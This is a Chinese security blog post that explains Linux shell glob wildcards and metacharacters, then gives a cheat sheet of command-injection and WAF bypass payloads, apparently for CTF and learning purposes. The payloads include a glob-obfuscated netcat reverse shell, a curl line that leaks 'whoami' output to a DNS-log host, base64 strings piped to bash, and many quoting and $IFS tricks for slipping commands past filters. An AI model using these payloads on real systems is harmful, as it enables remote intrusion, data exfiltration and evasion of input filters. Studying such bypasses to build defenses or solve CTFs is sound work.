命令执行绕过之Linux通配符

2019-01-31 7,528

[命令执行,通配符,WAF绕过,linux,CTF]

前几天在微博和公众号上看到一些使用Linux通配符/glob模式来绕过命令执行的方式,感觉很不错,学习总结下。

首先先了解下什么是Linux shell 通配符/glob模式:

概念:

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的/etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

语法:


字符 解释

*

匹配任意长度任意字符

?

匹配任意单个字符

[list]

匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合

[^list]

匹配指定范围外的任意单个字符或字符集合

[!list]

同[^list]

{str1,str2,…}

匹配 srt1 或者 srt2 或者更多字符串,也可以是集合


专用字符集

字符 意义

[:alnum:]

任意数字或者字母

[:alpha:]

任意字母

[:space:]

空格

[:lower:]

小写字母

[:digit:]

任意数字

[:upper:]

任意大写字母

[:cntrl:]

控制符

[:graph:]

图形

[:print:]

可打印字符

[:punct:]

标点符号

[:xdigit:]

十六进制数

[:blank:]

空白字符(未验证)


Linux shell 元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符

字符 作用

IFS

由 < space > 或 < tab >或 < enter > 三者之一组成

CR

由 < enter > 产生

=

设定变量

$

作变量或运算替换

>

重导向标准输出

<

重导向标准输入

|

命令管线

&

重导向文件描述符,或将命令静默执行

( )

将其内的命令置于 nested subshell 执行,或用于运算或命令替换

{ }

将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围

;

在前一个命令结束时,而忽略其返回值,继续执行下一个命令

&&

在前一个命令结束时,若返回值为 true,继续执行下一个命令

||

在前一个命令结束时,若返回值为 false,继续执行下一个命令

!

执行 history 中的命令

示例:

举几个简单的例子,举一反三,同理,各种混合结合效果更佳!

w2n1ck@w2n1ck ~/Desktop/shell  ls a*?
abc.txt
w2n1ck@w2n1ck ~/Desktop/shell  /???/[l]s
12.txt  abc.txt
w2n1ck@w2n1ck ~/Desktop/shell  /???/[:lower:]s
12.txt  abc.txt
再比如:
/?s?/???/[n]c 2130706433 8888 -e /???/b??h
...


其他绕过方式

ls | id
ls ; id    在shell中,担任"连续指令"功能的符号就是"分号"
ls & id
ls 回车 id
ls `id`   
ls ` id`   前面加了一个空格
ls `\id`   反斜杠  i\d等价于id
ls $(id)
ls | a=i;b=d;$a$b   拼接
ls | echo aWQ=| base64 -d | bash   利用base64
`echo "aWQ="|base64 -d`
ls | curl xxx.ceye.io/`whoami`   利用dnslog或者http web log
cat<1.txt
cat$IFS$91.txt
cat${IFS}1.txt
cat$IFS1.txt
%0acat%091.txt
w'h'o'am'i
w"h"o"am"i
who$@ami
echo i$@d|$0
w$@h$@o$@a$@m$@i


注意事项

  • 在使用专属字符集的时候,字符集之外还需要用 来包含住,否则专用字符集不会生效,例如 [[:space:]]

  • 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询

  • 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符

Referer:

https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8


本文作者:瓦都剋

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/96374.html

Tags:
评论  (0)
快来写下你的想法吧!

瓦都剋

文章数:14 积分: 113

一杯茶,一包烟,一个破站日一天

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号